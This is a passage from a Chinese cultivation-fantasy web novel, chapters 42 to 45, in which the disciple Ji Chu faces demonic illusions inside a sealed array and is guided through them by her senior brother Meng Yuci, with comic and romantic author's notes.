神情激动地像是准备上战场。 纪楚担忧地看着许盈,害怕她是淘汰压力太大,所以疯了。 于是她边走边说: “其实我想到了一个保命的办法,要是你今晚不想赌运气,我们可以直接试试……” “真的吗?” 听见她这么说,许盈先是激动,但还不等她细问“什么底牌”,就忽然发现了不对劲。 两人已走到槐园,但入目所及并无蒋成旭的身影。 槐园中安安静静,只槐树附近一个光点闪烁,是阵法开启后的余光。 只只鬼爪呈狰狞状攀在地面,指节弯曲,血痕爆出,尖端死死扣在地面,像是追杀未果后的扼腕,已然是死得透透了。 这场景实在有点可怖。 纪楚和许盈心下一沉,快步朝前跑去。 在那造型最为狰狞鬼爪的上方,一道浓黑雾气格外刺目,宛如利刃,将鬼爪死死钉在地面。 魔气! “这里竟然有魔?!” 许盈一下子着急起来:“那蒋成旭——” “你别急,这儿没有血迹,他应该没事。” 纪楚安抚道。 说罢她蹲在鬼爪旁边,忍着恶心打量上面的魔气痕迹。 魔气很强,能将他们三人加起来都甩不掉的鬼爪一击毙命,动手者一定不是普通的魔物。 巧的是,她还真知道一个魔。 许盈也知道着急无用,绕着阵法光点转了几圈,忽然弯下身子,捡起了个碎了一半的坠子。 “这是灵均剑的剑痕!” 灵均是蒋成旭的佩剑。 不等纪楚询问,许盈便愤愤道: “我不会认错他的剑!你看这里,灵均比寻常剑要宽的多重的多,剑刃未至,重压先行,所以这剩下的半个坠子上面全是被压碎的裂痕和缺口!” 纪楚接过坠子,确如许盈所言。 她将坠子翻过来,看到了个碎成一半的“薛”字。 “许盈,你还记得我说的保命办法吗?” 她看向许盈,幽幽道: “天凉了,该让薛羡尘滚蛋了。” * 蒋成旭没想到自己会直接撞上一个魔。 这魔物显然是冲着地煞锁魂阵来的,若是下面当真有什么东西,绝对不能落到魔物的手里。 幸好在场还有一个修士,他于是和对方合作,趁着阵法开启的功夫,跟在那魔头后面一起跳了进来。 只是他低估了这里的危险程度,只一进来,便感受到那铺面而来的邪气,几乎要将他整个人都吸纳进去。 而怀里藏着的玉书牌更是像被什么东西吸引着似的,拼了命地拽着他朝更深的地方走去。 这地煞锁魂阵里,应当是锁着个极为可怖的东西。 蒋成旭心知自己鲁莽了,于是急忙将玉书牌以灵力扣在手中,收了剑原地打坐,同时默念清心咒稳住心神。 突然的,一道声音出现在他脑海里: “既已成魆,这清心咒如何能清得了心?” 他盯着手里的玉书牌:“我不是魆。” “你不是?” 那声音反问,嗤笑道: “你心存恶念,骗不过自己。你已入魔障。” 蒋成旭想要辩驳。 然而他刚想说话,一抬头,竟然见到了一个浑身是血的身影。 竟是许盈! “你为什么要杀我?” 面前的“许盈”身穿艳红嫁衣,是他想象中的惊艳动人。 然而此刻,对方那双格外漂亮的眼中却满是刻毒的怨恨,胸前被一柄长剑捅穿,鲜血淋漓: “我那么相信你!你却堕仙入魔,害我性命!” “我没有……” 纵使知道面前这个许盈来的古怪,但看到鲜血淋漓的灵均剑时,蒋成旭还是心头一跳,下意识感到恐慌。 不…… 他怎么可能杀许盈? 像是知道他心中所想,面前的“许盈”敛了恨意,一步步走到他身前,对方身上混着血色的芬芳传入他的七窍。 “我知道你不想我嫁给旁人,这身嫁衣,我是为你而穿的……” “许盈”妩媚一笑,声若空谷幽兰,抬手抚上他的脸颊,冰凉指尖带血,若即若离: “我好不好看?” 蒋成旭额头冒出冷汗,握着玉书牌的手不住地发抖,咬紧牙关不敢发出声音。 * 纪楚跳下阵法,站在原地左顾右盼,身边连个呼吸声都没有,更没有许盈的踪迹。 于是她意识到,虽然是和许盈从一个地方进来,但却被分到了不同的位置。 这种随机传送的阵法并不少见,纪楚没有太过慌张,而是着眼开始打量周围环境。 漆黑,阴森,夹杂着极为强烈的邪气。 黑暗中仿佛蛰伏着什么巨大的怪物,可以窥探出她内心的暗面。 察觉到被邪物窥探的同时,纪楚明知道此刻应该静心守气,勉力抵挡,但总是忍不住去想: 她此刻最恶毒最见不得光的想法会是什么呢? 是一剑劈了薛羡尘这个魔头,还是冲回宗门怒打沈恪一巴掌并且大骂“你xx”,总不会是用卑劣的手段淘汰其他弟子然后捧着第一名的奖品哈哈大笑吧? 纪楚越想越猜不出答案。 于是她停止胡思乱想,等着邪物给她揭露答案。 可谁知,那些在她看来应当是极为黑暗的念头竟一个也没有出现。 眼前之物抽枝发芽,香气盈盈,竟然还是师兄院子里的桃树! “……” 纪楚觉得自己可能有什么大病。 难道她其实就是这样一个小肚鸡肠、斤斤计较、主次不分的人吗? 大敌当前,重活一世,她却满脑子都是被桃枝暴揍的仇。 又或者……真相其实是她记恨师兄,但是怂到做梦都不敢梦个大的,只敢砍个树小小报复一下? 这也太窝囊了吧! 面前的桃树花枝招展,每一朵花苞都仿佛是在冲她喊着: “你不恨我吗?快来砍我啊!” 纪楚却只顾托着下巴,陷入了对自己深深的怀疑,丝毫没有拔剑的打算—— 作者有话说:反派:(古娜拉黑暗之神)看我勾起你的恶念! 纪楚:(毫不上钩并且怀疑人生)我的恶念也太拉了吧(嫌弃)!难道我其实是个怂包? 第43章 桃树在纪楚面前舞了一段时间,发现她一点反应都没有,渐渐也舞不动了。 躲在暗处的邪物头一次怀疑自己窥探人心的水平。 见纪楚始终不上钩,甚至她看着桃树的眼神已经逐渐变成了死鱼眼,显然是早就神游到了天外,任凭它怎么表演都是无用。 邪物不免心生怒意,邪气上涌,呼吸粗重几分,带动阵法中阴气流窜。 就在此时,一直跑神的纪楚忽然转头,双眸明亮似星,直勾勾盯着黑暗深处邪气传来的方向。 “找到你了。” 她低语,召出长剑,猛地朝前方划出一道剑光,连同这棵桃树一齐被劈成了两半。 她这一剑并非泄愤,更无恐惧惊惶之意,灵力纯粹干净,劈开幻象后并未停止,而是径直朝着更深处掠去,将始终蒙在阵法中的雾气劈开一个口子。 灵力破开雾气,面前出现一条斜向下的小路。 路面潮湿带水汽,形状不规则,仿佛有什么软而湿的东西从地面上贴着划过。 纪楚压下嫌弃的表情,迈步而上,踩到一地粘腻的液状物体。 越朝下走去,越感觉到沉闷的呼吸从四面 八方传来,如同沉重的风起伏而来,连带着两旁的墙壁都仿佛在震动。 而地上粘腻的东西也变得越来越多,踩在上面像是一脚踩进了沼泽地,抬腿时都能感受到明显的阻力。 虽然恶心,但是也说明,她确实离那个邪物越来越近了。 纪楚握紧了手中剑,迈步越发谨慎。 然而没走几步,她就感觉到一股极为强烈的阴邪之气涌了过来,像是要阻拦她的脚步。 视线再度被雾气遮挡,鬼哭狼嚎嘶哑嘲哳一声叠着一声,夹杂着无数自远到近飘来的呢喃,几乎像是附在她耳边说话。 戚戚鬼声难以形成连贯的字句,但其间蕴含着让人无法忽视的怨气和恶念,轻易勾起人的情绪,听得纪楚心中烦躁不已。 那种想砍点什么来发泄的冲动再度浮现。 好烦…… 好吵…… 她停下步子,握剑的手隐隐颤抖,极力同心中的烦躁对抗。 地上的粘稠的液体逐渐变得多而深,几乎将她小腿淹没,像是要趁机将她彻底扯下无底的深渊。 纪楚皱眉,心里浮上几分戾气。 只一时犹豫,被她劈开的幻象就抓住机会再度浮现,面前的桃树晃荡几下后扭曲成人形。 先是变成沈恪,得知她经脉受损不能修行那天,冷漠地扔下一句:“我早知晓她的伤势,如此甚好,可彻底磨平她的野心。” 随后变成薛羡尘,当着她的面杀死许盈和蒋成旭后,冲她邪邪一笑:“一个替身,还想保护别人?真是可笑。” 之后场景再换,竟成了她年幼时牵着父母的手,妖兽突袭,生死相隔…… …… 纪楚的表情不像一开始那么淡定,控制不住的怒意从她心里蔓延开来,长剑随着她的手腕颤抖。 这些始终埋藏在她心底的旧事被一件件翻出来,密集地攻击着她的理智,试图挑起她的愤怒。 她周身的灵力开始躁动。 “杀了他们。” 脑海中响起一道声音,是她自己的。 “杀了他们,毁了修真界!纵使成魔又如何?是他们对不起你!是修真界识人不清,放纵他们玩弄欺骗你!” 却又不像她的语气。 纪楚隐隐感到困惑。 她自认不是干脆果决之人,也没有宁可我负天下,不可天下人负我的霸气,纵使再恨沈恪和薛羡尘,但是这份恨意,能支撑着她毁了修真界吗? 这真的是她的情感吗? 像是察觉到她的动摇,玉书牌缓缓亮起光芒。 刻着“人”字的地方逐渐变得朦胧混沌,一个浅浅的“魆”字如艳红的诅咒沉在这片朦胧的字迹下面,似乎随时都能漂浮上来,彻底落成。 纪楚被这光照到眼睛,低头看向手里的玉书牌。 在见到那产生变化的字迹时,她第一反应就是慌乱,随即生出了几分等候审判的无助。 难道她生出恶念了吗? 她已经……不算是人了吗? 耳边不停喊着“杀人成魔”的声音使她无法静静思考。 她厌烦至极,连带着看见手里的玉书牌也开始扎眼。 凭什么? 故意用幻象将她惹怒,却又来审判她的错误! 她还什么都没干呢,凭什么就得等着审判! 宗门为什么要用这种东西来判定胜负! 她咬着牙,抬手想要将玉书牌直接砸了。 然而这念头刚一冒出来,她耳边那些嗡鸣不止的鬼声便成了尖锐的嘲笑: “嘻嘻嘻……自欺欺人真是好笑,你已生恶念,连宗门的法宝都做了论断,竟然还不敢面对吗?” 纪楚捏着玉书牌的五指逐渐捏紧,到底没能直接砸出去,指腹被玉书牌边缘硌得生疼。 她于是又想着干脆将玉书牌收起来,若是结果不能更改,难道还不许她逃避、眼不见心不烦吗。 虽然这么想着,可那一团糊成一团的字就像是有什么魔力似的,始终吸引着她的目光。 因此她仍捏着玉书牌,视线不受控制般锁在那个若隐若现的“人”字上,几乎看得她眼前发晕。 只是她越是害怕自己变成“魆”,那个鲜红的“魆”字就越是和她对着干似的,加快了速度从底部浮上来,随时可以将“人”字彻底抹去。 纪楚的呼吸开始不稳当。 就在这时,一只骨节分明的手忽然从一旁伸出,牢牢握住了她的手腕。 纪楚这才惊觉,自己的手竟然抖如筛糠。 还没等她回过神来,握着玉书牌的手心随即一空——玉书牌被人拿走了。 那鲜红的字眼在她面前一晃而过,却被来人的手臂挡住,最终也不知道是否彻底压过了“人”字。 纪楚的目光顺着玉书牌被拿走的方向移向面前的人: “师兄?” 孟喻辞仍做着“杨念之”的伪装,闻言上下扫视她一眼,见她虽神色疲惫,好在并无受伤,这才“嗯”了一声,吩咐道: “你先离开这里。” “为什么?” 纪楚下意识反驳: “这里面藏着个邪物,况且我还没见到压阵之宝丢失的地方,我为什么离开!” 孟喻辞面无表情地看着她,淡淡反问: “你说为什么?” “我……” 纪楚一张口便觉得气短。 她知道自己方才一时大意,险些着了那邪物的道。 但若是就这么出去了,她也不愿意。 于是她说: “我现在有防备了,我会小心的,刚刚的情况绝对不会再出现了!” “况且许盈和蒋成旭都在这里,上面还有魔气的痕迹,我怎么能一个人离开?我一定要把这个邪物解决了!” 孟喻辞闻言蹙眉: “还有两个?” 他不再听纪楚胡搅蛮缠,一手拉着她小臂,轻轻松松将她提着朝出口走去,一边道: “不必担心他们,我去处理。” 原本师兄出现的时候,纪楚还觉得放心不少,此刻听他这么一说,纪楚忽然意识到:师兄在这里和他们不是一伙的啊! 因而孟喻辞的这番话听在纪楚耳朵里的意思就是: 他找到许盈和蒋成旭后以后,就会把他们三个齐刷刷全都淘汰。 纪楚心中大呼不妙。 她闭了嘴,由着师兄半推半提着她朝后走,目光落到了师兄拿着她玉书牌的另一只手上…… 孟喻辞正纳罕她怎么忽然老实的时候,手里提着的人果不其然开始搞事了。 她知道自己打不过师兄,一出手就是全力,直接攀着他的手臂,猴子一样往他身上爬,拦都拦不住,简直成了精。 或许是不想被淘汰的执念太过强烈,纪楚竟然大力出奇迹,真将师兄撞到了身后的墙壁上。 为防止师兄反击将她推开,纪楚直接四肢并用挂在他身上。 一手死死扒着他的肩膀,几乎要将他的衣领拽开,另一手去掰他的手指,试图将玉书牌抢走。 因为悬空挂在他身上的动作,她整个人都贴他贴得极近极紧,柔软的触感像一团不透风的云,将他锁在云层和墙壁中间。 孟喻辞的呼吸随着她的动作停滞了一瞬。 鬼使神差的,他又变回了自己本来的模样。 杨念之本来就足够高了,但孟喻辞比他还要高上几分,腰身覆盖着一层薄而有力的肌肉。 纪楚只觉自己像个挂在树干上的袋子一样被带着上移了几分,原本接力攀附平衡的地方也忽然变得坚硬有力——拽不住了。 她险些摔下去。 孟喻辞下意识伸出手扶住她的腰,掌心内侧贴着的纤细若无骨的触感使他猛的一愣。 这一愣神的功夫,叫纪楚得了机会,一下子拽走了自己的玉书牌。 她计划得逞,并不恋战,果断从师兄身上跳下去,扭头就想逃跑。 谁知孟喻辞反应过来,飞快擒住了她拿着玉书牌的手腕。 一推一压,她直接被反手按在了墙上。 纪楚的鼻尖触及墙壁,右手被师兄反扣在背后,刚到手的玉书牌转 了一圈,又回到了师兄手中。 她挫败地闭眼,意识到现在的情况委实有些不太妙了。 “师妹……你好大的胆子。” 孟喻辞扣着她的肩膀将她翻过来,薄薄的眼皮半垂着,窄而锐利的双眼皮半遮半露,尾端细长锋利,居高临下看人时显得格外凌厉。 他的声音有些低沉,一字一句地说出这句话,显然是生气了。 “师妹”两个字像是在牙尖转了一圈才被挤出来,压迫感十足。 纪楚也知道自己这一番操作简直是找死。 ……但总比直接淘汰的要好。 于是她梗着脖子: “是师兄你先威胁我的!我这是无奈之举!” 孟喻辞冷哼一声。 想到她刚才那一番熟练灵活的动作,猴子一样往他身上爬,简直是…… 偏又是个孩子,心思简单言行随性,让他连气都不知道该怎么生。 但到底还是不能就这样轻饶了她。 纪楚这个熊孩子惯会得寸进尺,看着乖巧可爱,实则性子又犟又胆大妄为,今天若是轻易饶了她,明天她就敢顺杆子爬到他头上。 若只是对着他也就罢了,可万一遇上别有用心之人,恐怕要闹出麻烦。 于是他冷着脸,面无表情道: “看来是我往日太好说话,才教你越发无法无天。” 纪楚:师兄这个表情好恐怖! 还不等她想出逃生之法,孟喻辞已上前一步,高大的身影将她完全挤在自己和墙面形成的狭小缝隙里,沉着脸,居高临下地盯着她看。 往日他同纪楚相处时总会刻意收敛气息,像一块凉而不寒的冰,进退得宜。 而此刻他周身的寒意全然外放,如同一柄半出鞘的利刃,纪楚明显感觉到不太自在。 她这会儿才意识到自己当真是不要命了,怎么跟师兄熟起来以后就发了狠忘了情,全然忘了“礼貌客气保持距离”的原则。 万一他盛怒之下,直接把她玉书牌咔嚓了,那她不就完蛋了吗! 冲动了啊! 纪楚脸上的表情从理直气壮倔强不屈,逐渐朝着心虚害怕发展。 然后她飞速滑跪: “我错了师兄,我真的不想被淘汰,你就大发慈悲,把玉书牌还给我吧……” 又是这一招。 他看起来很像吃这一招的人吗? 面对她可怜巴巴的示弱,孟喻辞垂眸,语气柔和: “你伸手,我给你。”—— 作者有话说:一开始的师兄:不能让纪楚这个熊孩子得寸进尺骑我头上 后来的师兄:我愿意嫁给师妹,哪怕是她天天骑我头上[眼镜] 第44章 让她伸手,是要给她玉书牌吗? 纪楚心下一喜。 她就知道师兄是个顶顶好的大好人,只消认错态度积极,他什么都会给她的! 于是她期待地伸出手。 “啪”的一声,玉书牌没拿到,掌心反而被毫不留情地拍了一掌。 意识到被骗,纪楚一下子张大了嘴,立马将手收了回来,一脸不可思议地看着孟喻辞: “你骗我!” 亏她还以为师兄是个面冷心热的好人,没想到他竟然能做出这种辜负师妹信任的事! 纪楚气的要命,墙和师兄加起来都挡不住她发火: “你果然是想淘汰我!” 孟喻辞垂眸看了一眼纪楚的玉书牌,上面的“人”和“魆”字交缠在一起,并未分出胜负来。 他什么时候说要淘汰她了? 脑袋瓜里不知道装的什么东西,一个人胡思乱想一通,倒反过来指责他了? 小孩子都是这样神经兮兮的吗? 还是只有纪楚这样? 他思忖着:师尊莫非早就知道带孩子会这样劳心劳力,这才叫他来代管师妹? 他当初是不是答应的太过轻易了? 这边纪楚吱哇乱叫一通,却见师兄始终一言不发地盯着她的玉书牌,修长指尖还无意识地摩挲玉书牌边缘,吓得她简直一口气提不上来,生怕那几根指头用点力气,她的玉书牌就会碎成渣渣。 情急之下她又扒着孟喻辞的胳膊大喊: “不许捏!你今天要是敢淘汰我,回去我就改换师门!再也不要当你师妹了!” 孟喻辞:“……” 这一方空间骤然安静下来,凉风嗖嗖,纪楚下意识打了个冷颤。 师兄的眼睛黑沉冷寂,面无表情地盯着她。 他看着自己这个不知死活的师妹,想捏她脸的冲动再一次冒了上来。 然后他没有控制自己,而是循着本能这么干了。 纪楚正在试图第二次拯救自己的玉书牌,这回没有遇到什么阻力,十分顺利地从师兄手中拿了回来。 谁知道师兄这边松开玉书牌,那边竟然直接伸手捏住了她的脸。 甫一触碰到她的脸颊,光滑柔软的触感瞬间传来,孟喻辞感觉自己指腹一颤,下意识想要轻轻摩挲。 待看到纪楚一双圆溜溜的眼睛正瞪着他时,他才猛的回过神来,意识到自己这举动不太正常。 为了掩饰这一瞬间的晃神,他匆忙又捏住她的脸像扯面一样朝外扯了扯,板起脸淡声威胁: “你敢?” 纪楚知道自己又惹师兄生气了。于是她匆忙藏好玉书牌,然后两手扒住他手腕,果断改口: “唔胡说的,唔就你一个师兄!” 看不出师兄是信了她的鬼话还是没信,反正是松开了她的脸。 纪楚松了口气,急忙揉了揉自己脸颊,以防被师兄扯成不对称的大小脸。 孟喻辞看着她动作,状似不经意问了一句: “你在我面前,好像活泼很多?” 岂止是活泼,比起刚见面时她的那种如临大敌、怕到不敢吭声的状态,此刻的纪楚简直放松的过了头,因而越发显得她一开始的反应不对劲。 纪楚:“……!” 大意了! 一定是这些日子太过安宁,和师兄相处的太过和谐,她竟然逐渐放松了警惕,再加上师兄比前世好说话的多,她就更忍不住在他面前肆无忌惮了。 这样不好不好,她只是想和师兄当一对儿和睦相处的师兄妹,最好是相敬如宾,兄友妹恭,可不敢再惹师兄不快了。 于是她赶忙整理了一下自己的衣服,又帮师兄把被她扯皱的袖子捋平,装作什么都没有发生的样子冲他仰脸笑: “没有的事,师兄,刚刚我那是被邪物影响的后遗症。” 孟喻辞将她一瞬间的怔愣和之后的掩饰看在眼底,神色平静: “原来如此。” 他这个师妹,似乎有什么秘密瞒着他。 * 闹了这么一通,想把纪楚送出去是不可能的了。 孟喻辞只得让她跟着。 两人沿着小路向下走。 一路上邪气弥漫,纪楚不知道师兄会不会看见那些让人烦躁的幻象,但她视线所及一刻也不曾安生。 沈恪和薛羡尘两个人的幻象仿佛长在她眼睛上似的,往哪边瞧都是他们在说垃圾话,中间偶尔夹杂着薛晚凝的厌恶的目光。 纪楚看着这些场景,虽然依然有些心烦,但奇怪的,她却似乎并没有之前那么愤恨绝望了。 或许是因为身边的师兄的存在感太强,以至于这些人都被衬托成了“跳梁小丑”,她甚至能静下心来审视他们的五官和表情。 哇,果然和记忆里一样讨厌。 仿佛知晓了她的嫌弃,眼前的幻象“沈恪”变出一席白衣,朝她伸出一只手,想要牵她的手,一边缓声道: “纪楚,以后拂宇仙宗就是你的家,我就是你最亲密的家人。” ——是他从妖兽口中救下她,带她回拂宇仙宗那天。 他的目光中闪着失而复得的光,那时的纪楚并不知道他在透过自己的脸看着另一个人,还傻傻的以为修真界的仙君都这样亲切。 重活一世的纪楚眼看着面前这只手越来越近,简直像是不幸的“替身”人生在欢迎她来体 验,顿时感到一阵恶寒,急忙朝师兄身边迈了一步,拉住他的袖子。 孟喻辞疑惑转头: “怎么了?” 纪楚看到面前的“沈恪”复杂中透着诡异的神色,下意识离师兄更近,几乎要贴在他胳膊上。 五指攥紧了他的袖子,活像是抓着什么救命稻草。 “师兄,我牵着你的袖子走好不好?” 她的声音有点委屈,像是怕他不同意。 见她这般模样,孟喻辞哪里会想不到她是看到了什么。 让她离开她不同意,如今不抓着什么又觉得不安心。 “牵吧。” 他无奈轻叹:“我不会推开你。” 纪楚闻言高兴起来:“师兄你真好。” 孟喻辞见她神色放松不少,连走路的步子都轻快起来,心中不免又生出些许微妙的波澜。 ——她在依赖着他。 只是牵着他的袖子,就能让她这么安心吗? 这种被纪楚依赖的感觉很特别,他并不觉得排斥,甚至隐隐欣喜。 袖口处传来被人拉扯的坠感,随着纪楚的步子时轻时重,他的整只胳膊也被她拖着时前时后地挪动。 分明没有触碰到他的皮肤,却像是有一双手在揉搓他的心,或轻或重的力道仿佛是世间最温和的折磨和引诱,无形间将他的心朝身旁那人拽过去。 他的目光不自觉移向了身边的纪楚。 她正迈着大步,牵着他的袖子,气势汹汹地朝着面前疯狂卖弄的幻象撞去。 沈恪、薛羡尘的幻象被她撞碎,纪楚几乎可以听见藏在深处的那邪物的质问: “为什么?你为什么没有被恶念掌控?” 她晃晃肩膀和脑袋,只是拽着师兄的袖子,却像是拥有了全世界最强的辟邪法宝,一副“我就是这么优秀”的神色,把对方气得不行。 孟喻辞明显感受到路的尽头有什么东西在颤抖,似乎是被气的。 或许是她狐假虎威的行为实在太过招摇,正得意之时,她眼前的场景却忽然一变。 漆黑的山洞,潮湿闷热的空气,幽暗的月光洒在洞口,却照不到里面相拥的两人。 这熟悉的背景和环境让纪楚下意识感到不妙。 下一刻,她就看到了师兄和她自己被映在墙上的影子…… 纪楚:“!” 她倒吸一口凉气,几乎已经可以预料接下来的场景,因而被吓得立马松开了拉着师兄袖子的手,紧紧捂住自己的嘴。 一声尖叫堵在嗓子眼里,却又以难以控制的半句鹅叫的形式冒了出来。 纪楚:“啊——嘎!!!” 孟喻辞:“?” 他狐疑地看向她,像是不明白她是怎么发出的这种声音。 袖口上的坠感消失,轻飘飘在半空晃荡,上面还有被人攥过的褶皱痕迹,他下意识将那半片布料捏在指尖。 纪楚站在幻象营造的“山洞口”,生怕一进去就看见点什么,说什么也不肯往前走了。 孟喻辞:“我送你出去。” “不行!”纪楚摇头。 “那就走。” “也不行!” 纪楚大叫,想拽他胳膊,差点碰到的时候却又像是见鬼一般飞速收回手: “师兄你也别过去!” 孟喻辞:“……” 他感觉头疼,纪楚这才刚老实没一会儿,怎么又忽然开始发疯了? 眼看已经耽误了太长时间,孟喻辞最终忍无可忍,一把拉住了纪楚的手: “我牵着你走。” 皮肤接触的瞬间,纪楚一下子安静下来。 师兄的指节修长有力,触之如上好的美玉,凉而不寒,轻易将纪楚的手完全拢在他的掌心。 指腹因常年握剑生了一层薄茧,却并不硌人,反倒让她因为这存在感明显的触觉而感到安心。 如果眼前的幻象不是她轻薄师兄的场景就好了…… 纪楚半是开心半是痛苦,鼻尖冒出紧张的细汗。 偏偏师兄还在安抚她: “你既然知道是幻象,又何必害怕,我带你撞过去就是。” 师兄都愿意牵着她走了,她还能怎么办呢? 纪楚在心里挣扎半晌,摆出壮士断腕的神色:“那好吧……” 孟喻辞于是朝前迈步。 然而刚走出没两步,牵着纪楚的那只手就被人朝后猛得一拉。 转头,就看见纪楚在原地扎了个马步,两手拽着他的手,姿势像是在拔河。 她的表情就好像是前面有什么洪水猛兽。 孟喻辞不由得问了句: “到底是什么幻象?能叫你怕成这样。” 纪楚摇头不肯开口,总不能说是她上辈子轻薄师兄的场景吧…… 她这不肯解释也不许人往前走的行为明显是在消耗孟喻辞所剩无几的耐心。 他眯起眸子,思考着是否要把人提起来强行带过去,却又怕纪楚被幻象吓得狠了,落下什么心魔。 好在纪楚在他动手前率先开口了。 她的语气满是恳求: “师兄,你能再答应我一件事吗?” 纵使知道这幻象是她自己的心结,师兄根本看不到,但纪楚还是觉得和师兄一起走过去太过尴尬。 此刻她的痛苦程度远超先前看见沈恪的时候,甚至有过之而无不及。 这个邪物到底祸害了不少修士,实在是有点本事。 是她错了,她大错特错。 她不由得在心里痛斥自己干嘛要故意去气那个邪物,现在这尴尬的情况简直是她的报应! 于是她弱弱提议: “师兄,你能不能闭上眼睛,让我牵着你走啊?”—— 作者有话说:师兄:师妹是气鼓鼓的河豚,是贪吃的兔子,是一不留神就往人身上爬的猴子,是莫名其妙就开始乱叫的邪恶比格…… 纪楚:? 第45章 闭着眼睛? 纪楚说出这句话时一脸的纠结拧巴,但眼里明晃晃写着如果他不同意今天就别想朝前走一步的意思。 孟喻辞没问为什么,干脆利落道: “可以。” 师兄竟然如此好说话! 纪楚松了一口气,脸上的表情是肉眼可见的庆幸: “师兄你真好!” 她拉着他的手,主动朝前迈了一步。 只是这一小步,她就发现幻象中的窸窸窣窣的声响变得更加明显了。 纪楚又站住不动了。 她心知自己是青天白日做梦,得寸进尺耍赖,但还是忍不住又说了句: “那个……师兄,你能把耳朵也捂住吗?” 孟喻辞:“……” 他也没说不好,只是反问她: “我牵着你,如何捂耳朵?” “就没什么这种效果的法术吗?” 纪楚问。 “没有。” 孟喻辞说。 纪楚只得打消这个念头: “那好吧……” 她勉为其难地接受这个现状,又强调一遍: “那师兄你一定不能睁眼。” 孟喻辞:“……嗯。” 终于可以走了。 纪楚出发之前这也不行那也不行,一旦下定决心开始走,她又害怕走的太慢像钝刀子割肉折磨人,于是拉着孟喻辞快要小跑起来,还疯狂贴着墙根角落,只恐直接撞上让她社死的场景,根本顾不上师兄正闭着眼睛,全靠她来领路。 好在这人是孟喻辞,闭着眼睛也同睁着眼睛没什么两样,走得四平八稳,时不时还能拽纪楚一把,免得她心神不定一头撞到墙上去。 纪楚浑然不觉,她满脑子都是幻象。 明知道心结这东西不去想不去看才是最合适的,但就是忍不住用目光去找。 然后她就看到师兄用少微剑捅向她的一幕。 幻境并非事实,大多是她自己最为恐惧难忘的记忆的组合。 而在她看来,前世这混乱的一夜便是压垮她和师兄情分的最后一根稻草,紧接着,就是师兄对她失望透顶,一剑穿心。 纪楚:“……” 她的呼吸频率变高,攥着师兄的手不受控制地用力,反倒将自己的指节硌的生疼。 她的目光不受控制地落在幻象中的自己身上,胸前的血迹逐渐蔓延开来,鼻尖仿佛能闻到那股绝望濒死的铁锈味。 恍惚间,她觉得自己就是这场景的一部分,如果低下头,或许就会发现,其实自己已经死了。 ——死在少微剑下。 她猛地松开了 师兄的手,低头,余光瞥见大片大片的红,几乎要灼伤她的眼睛。 眼前忽然一暗。 伴随着师兄身上的清冷的气息,她的眼睛被人牢牢遮住。 目之所及,是师兄垂下的袖口,冰凉丝滑的布料轻拂过她鼻尖,流水般飘渺清泠,将她眼前的血色尽数冲刷,成了一片干净的白。 一只手从她背后绕过去,不轻不重地压在她肩膀上。 看姿势,是在拿她当拐杖。 “你不牵着我,我怎么走?” 师兄清冷的声音传来,如悬崖上骤然斜伸出的一棵松,将她探出崖边的身体拦了回去。 “还是你要我睁开眼睛自己走?” “不是!” 纪楚一下子回过神来,想要把师兄挡住她眼睛的手拉下来: “师兄你不能睁眼!” 挡在他眼前的手纹丝不动,牢牢把她的视线遮盖,怎么都拽不下来。 孟喻辞道:“为表公平,你也不能睁眼。” 纪楚下意识说: “可是我还得看路……” “这儿就一条路。” 孟喻辞不为所动,揽着她肩膀将人朝前带了两步,忍不住又怼她一句: “况且你睁着眼睛也不会走直线。” 纪楚:“……” 她一头雾水地被师兄捂着眼睛,被师兄当拐杖一样拄着朝前走。 师兄这么一打岔,她倒是没了刚才那种伤心绝望的情感。 因为眼睛被捂着看不见,只好伸手在心口摸了摸。 没有血,也没有洞。 纪楚松了一口气。 什么也看不见,只管跟着师兄的步子朝前走的感觉很是奇妙,世界好像都安静了下来,混乱的记忆和思绪通通沉寂下去,只剩下垂在鼻尖的那片布料变得格外有存在感。 冰冰凉凉的,还有点痒。 纪楚忍不住鼓起脸颊,朝上吹了口气,想把那片布料吹开。 师兄这衣裳不知道是什么做的,显然不是“杨念之”的衣服,轻飘飘像云,却又有着十分特别的垂坠感,似乎并不是普通弟子的配置,起码她就没有这种触感的弟子服。 眼睛看不见,纪楚的思维就开始疯狂发散,一会儿想想师兄的衣服材质,一会儿想想自己的钱够不够买这样的衣服…… 被她吹起来的布料又落了回来,带着一阵凉风糊在她脸上,纪楚于是鼓起脸又吹了一次。 这样重复了几次,师兄的袖子被她像放风筝一样吹得忽高忽低。 纪楚眨了眨眼睛,像是终于找到了什么乐子,自然也将幻象的事忘的一干二净。 掌心传来睫毛上下刮过的触感,带来一阵奇特的痒,直直顺着掌心经脉传到心口。 孟喻辞指尖微动,想要把手收回来。 袖口又被纪楚吹了起来,带着点暖暖的、轻轻的风,若有似无的,从他虚虚捂着纪楚眼睛的手心钻了进去,小拇指根部连同整个手心都开始痒,心口像被猫爪子挠过一样又痒又麻。 这感觉有些诡异的陌生,他忍不住说: “安静些。” 纪楚“唔”了一声,心道这也能被师兄发现啊,由着布料垂在她脸上,没再吹了。 孟喻辞微不可查地松了口气,一边留心着附近的动静,一边带着纪楚朝前走。 只是什么也不干实在太过无聊,纪楚才安静了没一会儿,就又忍不住说: “师兄,你走的好稳啊,你真的闭眼睛了吗?” 孟喻辞:“……” “闭了。” 他说。 纪楚不相信,或者是闲的无聊故意挑事,非要说: “可是我现在也看不见,怎么知道你有没有骗我啊?” “我没有骗你。” 孟喻辞语气平静地阐述事实,丝毫没有被她质疑的不快。 他这样平平静静的语调让纪楚觉得没趣,她想了想,又换了个话题: “师兄想不想知道我刚刚看见了什么?” 孟喻辞:“你想说吗?” 纪楚摇头,眼睫又横向在他手心乱扫: “不想,我谁也不想告诉。” 孟喻辞:“那就不说。” 话题又被没什么情绪波动的回答终结了。 纪楚走了两步,却忽然又问: “那师兄你会杀我吗?” 这话题转变的太过突然,前后又没什么预兆,简直像是忽然砸下来的石头。 孟喻辞虽闭着眼睛,却仍忍不住朝纪楚的方向转头。 自然什么都没看见。 他转回头,声音低了几分,自嘲般叹道: “纪楚,我在你心里,就是这么个形象吗?” 纪楚脸上的表情有几分怔愣,她张了张嘴想要再说几句,但是又怕师兄察觉到什么,于是调整了表情,换了轻快的语气说: “那师兄不许捏碎我的玉书牌!我要赢。” 两人彼此都看不见对方的表情,反而成了一种保护和伪装。 纪楚说不上自己心里是什么滋味。 自打重生以后,她觉得自己可能害怕师兄,可能记恨师兄,也可能讨厌师兄,但是…… 此时此刻,她却又忍不住想要依赖师兄。 她又觉得自己是个没原则的人,心情不好。 孟喻辞感觉到她一下子沉下去的心情,全然没了之前胡说八道时的活泼,正待说话时,忽然察觉到自地底传来的巨大震动。 